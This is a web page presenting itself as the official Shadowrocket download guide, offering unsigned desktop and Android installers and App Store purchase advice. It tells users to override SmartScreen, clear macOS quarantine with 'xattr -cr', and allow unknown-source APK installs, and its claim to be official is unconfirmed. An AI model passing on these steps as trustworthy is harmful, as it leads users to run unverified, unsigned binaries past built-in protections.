Shadowrocket Official Guide · Client Downloads

Shadowrocket Download
Setup for All Platforms

Choose how to get Shadowrocket for your device: iPhone / iPad costs $2.99 one-time on the App Store; Mac, Windows, Android, and Linux versions are free.

Current version v2.2.92 · Mac, Windows, Android, and Linux versions are free

2 ways to get it iPhone / iPad: App Store Other platforms: installers from this site
Price and version
iPhone / iPad: $2.99 one-time; other platforms are free.
Current installer version v2.2.92
Developer
Shadow Launch Technology Limited
App Store app ID
932747118

Choose a device and architecture

Download for all platforms

Get Shadowrocket for iPhone / iPad from the App Store for a one-time $2.99 purchase. Mac, Windows, Android, and Linux versions are free; download their installers from this site. Your current device is shown first, but you can also select another device. Automatic detection identifies the platform, not the Mac chip, so use About This Mac to choose the right file.

iPhone / iPad

$2.99 one-time. Mac, Windows, Android, and Linux versions are free. iPhone and iPad use the same App Store product page and share one purchase with the same Apple ID. System requirements: iOS / iPadOS 13.0 or later; check the App Store product page for the listed requirements.

Open the store and verify the developer and app ID before purchasing and installing as prompted. Your account region affects whether the product page is available. If the page does not load, check the store and region information below rather than repeatedly changing your search terms.

Mac

Free. iPhone / iPad costs $2.99 one-time on the App Store; Windows, Android, and Linux versions are also free. Mac requires macOS 12 or later. Separate dmg installers are available for Apple silicon and Intel.

After downloading, open the dmg, drag Shadowrocket to Applications, then launch it from the Applications folder. The system may block the first launch; see “Allow installation” for steps. Do not infer the architecture from the device’s appearance or purchase year alone.

Not sure which to choose? Open About This Mac and check Chip / Processor.

Windows

Free. iPhone / iPad costs $2.99 one-time on the App Store; Mac, Android, and Linux versions are also free. This page provides a Windows 64-bit x64 .exe installer. Check your system type in Settings → About.

Save the file to your device before running it, then follow the installer prompts. If SmartScreen says “Windows protected your PC,” first confirm that the file came from this page, then follow the steps below. Follow your administrator’s installation requirements on organization-managed computers.

Android

Free. iPhone / iPad costs $2.99 one-time on the App Store; Mac, Windows, and Linux versions are also free. The Android version is an arm64 .apk for common arm64 phones and tablets from recent years. Check your device architecture before downloading.

Download it in a browser, then allow that browser to install unknown apps. If the built-in WeChat page cannot save the file, use the menu in the upper-right corner to open it in a browser, then return to this page and try again. You can revoke the installation permission after installing. Confirm connection permissions separately when prompted by the system.

Linux

Free. iPhone / iPad costs $2.99 one-time on the App Store; Mac, Windows, and Android versions are also free. The Linux files below are for x86_64. amd64 and x86_64 in the package names refer to the same architecture, not ARM devices.

Choose .deb for Debian / Ubuntu, .rpm for Fedora / openSUSE, or AppImage for other distributions. Check that your local environment meets the requirements. Prefer your distribution’s package manager to review dependencies and installation results; AppImage requires execution permission first.

Read before first launch

Installation and system prompts

Desktop and Android installers are not code-signed, so the system may block them on first launch. First confirm that the installer came from this site, and that its architecture matches your device; then follow the steps for the prompt you see. These steps apply to one app and do not require disabling system-wide protection. If the system reports a specific malware detection or your device is restricted by organization policy, stop and contact your device administrator.

Installation prompts and steps by platform
Platform and situationStepsWhat to check
Windows · SmartScreen If you see “Windows protected your PC,” select “More info,” verify the downloaded file, then choose “Run anyway” to continue the installer. Available buttons depend on system and management policies. Continue only with a file confirmed to be from this site. Do not bypass other warnings by disabling protection.
macOS · Developer cannot be verified Move the app to Applications and try opening it. Then go to “System Settings → Privacy & Security,” find the relevant prompt, select “Open Anyway,” and confirm as required. The location of System Settings and the prompt may vary by system version. Confirm that the prompt refers to Shadowrocket, not another recently downloaded file.
macOS · “App is damaged” prompt Confirm that the app came from this site and is in Applications, then run this in Terminal: xattr -cr /Applications/Shadowrocket.app and reopen the app. The path must point to the verified app. This command clears extended attributes; it cannot fix an incomplete download or architecture mismatch. Redownload the file if it appears damaged.
Android · Installation permission Go to “Settings → Apps → Special app access → Install unknown apps,” select the browser used to download the file, and enable “Allow from this source.” Then return to the file and continue installing. Some systems label this “Allow installing unknown apps.” Grant this permission to the source app, such as your browser, and revoke it after installation if you wish. There is no need to enable it for every app.
Linux · AppImage In the directory containing the downloaded file, run: chmod +x ./Shadowrocket-*.AppImage Then open it from your file manager or run the file in a terminal. The wildcard in the command matches relevant files in the current directory; check the directory contents first. If a runtime dependency is missing, use the distribution’s error message to troubleshoot.
Linux · Debian / Ubuntu In the download directory, use the package manager: sudo apt install ./Shadowrocket-*-linux-amd64.deb Review the dependency list before confirming installation. Keep only the file you intend to install in the current directory. Fedora / openSUSE users should choose the .rpm file and install it with their distribution’s software installation tool.

After installation, distinguish permissions from connectivity

Installation permission, system network permission, and server connectivity are separate steps. If the app opens, installation is complete; enabling a connection for the first time may still require confirming VPN or network access. Read the app name and purpose in the prompt before proceeding. If there are no server entries after opening the app, import your own details first rather than treating an empty list as an installation failure.

For updates, use the App Store update feature on iPhone / iPad. On Mac, Windows, Android, and Linux, download the appropriate installer again from this page. Before updating, keep important configuration and subscription details. After installation, check whether your entries remain before restoring a backup to avoid importing them twice.

For iPhone / iPad only

App Store and account region

The app is not available in the mainland China storefront. The country or region associated with your Apple ID determines which store you see, not the device’s interface language. If the product link on this page says the app is unavailable in your country or region, first check the account used for “Media & Purchases.” A page that is not visible does not mean the client is no longer offered.

  1. Open “Settings,” tap your Apple ID at the top, then go to “Media & Purchases.” Confirm that this is the account you intend to use to purchase or restore the purchase. It may differ from the account used for other system services.
  2. Select “View Account,” verify your identity as prompted, then check “Country/Region.” Confirm the current storefront and product availability; the account details shown by the system are authoritative.
  3. If you need to change regions, use the system option under “Country/Region” and review Apple’s account requirements. Your account balance, active subscriptions, Family Sharing, or payment information may affect the change; completion is not guaranteed.
  4. After checking, reopen the App Store product link on this page. Verify the app name, developer, and app ID, then follow the store prompts. Do not make another purchase before confirming the account.

The US storefront price for iPhone / iPad is a one-time $2.99 purchase; other storefronts display local currency, and the amount shown at checkout applies. Mac, Windows, Android, and Linux versions are free and downloaded from this site. Computer and Android installs do not require this App Store region-check process.

Name, icon, and product ID

Verify the official Shadowrocket app

This is the Shadowrocket official site and guide. Before installing on iPhone / iPad, verify all three details below in the App Store rather than relying on a nickname in search results. A similar name does not mean it is the same product, and search ranking does not verify the developer’s identity.

  1. Developer: Confirm the full name is Shadow Launch Technology Limited. If the name is truncated, open the product details instead of checking only a few words.
  2. Official icon: A rocket with a blue-violet outline on a white background, matching the official app icon shown on this page. Use the icon as a visual aid, and verify the developer and app ID as well.
  3. App ID: The product link uses the ID 932747118. Every App Store button on this page points to that product page. Verify the name and developer after opening it.

The iPhone / iPad version costs $2.99 one-time on the App Store; an identically named listing marked free in the store is an imitation and should not be installed. Mac, Windows, Android, and Linux versions are free and use a different download method: use the installers under /dl/shadowrocket/ on this site. App Store pricing does not determine prices for these platforms.

The two images alongside this text are English interface screenshots uploaded by the developer to the App Store. They show Home and Add Server. In Home, you can compare Global Routing, Connectivity Test, and SERVER. In Add Server, you can compare fields such as Type, Host, and Port. Text and layout may vary with system or app updates; the screenshots help identify app controls and do not show the desktop or Android layout.

Not Connected means that no connection has been established. Import your own server or subscription details, select an entry, and then enable the connection. A similar-looking interface alone does not prove that connection settings are correct or replace the product identity checks above.

Official Shadowrocket Home screenshot: Not Connected, Global Routing, Connectivity Test, and the SERVER group
Home: Check connection status, Global Routing, and SERVER; use Add Server to add your own server.
Official Shadowrocket Add Server screenshot: Type, Host, Port, Password, Method, and QR scanning and import options
Add Server: Enter details you already have, or use Scan QR Code or Import from Cloud JSON.

Redownloading and restoring data are separate steps

New device, reinstall, and restore purchases

After a one-time $2.99 App Store purchase, iPhone and iPad share that purchase under the same Apple ID. Redownload from purchased items when reinstalling; you do not need to pay again. Mac, Windows, Android, and Linux versions are free; on a new device, download the appropriate installer from this site. Restoring the app and restoring its configuration are separate tasks, so organize your existing information while your old device is still available.

  1. On your new iPhone or iPad, sign in to the App Store with the original purchasing account. Tap the account avatar and open “Purchased.” Some systems show “Apps” first; open the relevant purchased list.
  2. Find Shadowrocket, verify the developer, then tap the cloud download button. If a purchase price still appears, check the account, purchase history, and current storefront before proceeding. Do not pay again immediately.
  3. Open the app and check whether your subscription, server, and Config entries have been restored. If the list is empty, use a backup you saved earlier or reimport the subscription address from your service provider.
  4. Confirm your server settings, Global Routing, and current Config, then enable the connection and run Connectivity Test. Only after the test succeeds should you remove redundant information from the old device.

Purchase history does not automatically provide server passwords, subscription addresses, or configuration details. Before retiring your old device, make sure you have a recoverable copy of this information, and store backups containing credentials somewhere you control. Do not include subscription addresses in public screenshots or comments; they may contain credentials that identify your account.

When switching computers or Android devices, restore your information first, then verify the connection. File paths and import options may differ by platform, so do not copy the entire app directory over another operating system. Keep the original backup, then restore items individually using the new device’s import options. For more details, see the Subscription and Server Management Guide.

Client price and connection details

Two ways to get it and what you need

Shadowrocket is available in two ways: iPhone / iPad costs $2.99 one-time on the App Store, with no monthly client fee; Mac (Apple silicon and Intel), Windows, Android, and Linux versions are free. The store displays local currency, and the checkout page shows the amount charged. Check the App Store product page for system requirements.

Get subscription addresses from your service provider. Copy the full address when importing it, without extra spaces or line breaks. To use Add Server manually, enter the Type, Host, Port, and authentication details from your own information. Required parameters vary by protocol; changing a name alone does not complete the configuration.

For the first connection, follow this order: confirm the import, select a server, check Global Routing, then enable the connection and verify it. Rule-based routing usually works with Config. Proxy and Direct are different routing modes; do not switch between them repeatedly as a substitute for troubleshooting before you understand their purpose. If a connection fails, first check the local network and your existing server details, then check permissions and parameters.

After installation and system prompts are handled, continue with the User Guide to learn the sequence for Home, Subscribe, and Add Server. For rule or protocol terminology, see the Glossary. These instructions cover information you already have and do not recommend connection services.

Common questions before and after downloading

Installation and purchase FAQ

Can I install Shadowrocket on a computer or Android phone?

Yes. Mac (Apple silicon and Intel), Windows, Android, and Linux versions are free, with installers available here; iPhone / iPad costs $2.99 one-time on the App Store. All platforms require you to import your own subscription or server details.

Which Mac version should I choose: Apple silicon or Intel?

Open About This Mac from the Apple menu. Choose the Apple silicon version if it lists a Chip and identifies Apple silicon; choose Intel if it lists a Processor and identifies Intel. The Mac version is free; iPhone / iPad costs $2.99 one-time on the App Store, and Windows, Android, and Linux versions are also free.

What should I do if Windows says “Windows protected your PC”?

First confirm that the file came from the download button on this site. In the SmartScreen prompt, select “More info,” verify the file, then choose “Run anyway.” If the device is managed by an organization or the system reports a specific malware detection, stop and contact your administrator. Do not disable system-wide protection.

Why can’t I find Shadowrocket in the App Store?

The app is not available in the mainland China storefront. The country or region associated with your Apple ID determines the storefront. Check your account under “Settings → Apple ID → Media & Purchases → Country/Region,” then use the product link on this page to check availability. Changing regions is subject to Apple’s account requirements.

Do I have to pay again when I switch devices or reinstall?

After a one-time $2.99 App Store purchase, you can redownload Shadowrocket from your purchased items with the same Apple ID on iPhone / iPad. Mac, Windows, Android, and Linux versions are free; download the appropriate installer again on your new device. Reinstalling the app does not restore subscriptions or settings, so you will still need to import your own information.

Can I install Shadowrocket on iPad and share the purchase with iPhone?

Yes. iPhone and iPad share one $2.99 App Store purchase when signed in with the same Apple ID. Check the App Store product page for system requirements. Mac, Windows, Android, and Linux versions are free. Before installing, verify the developer, Shadow Launch Technology Limited, and app ID 932747118.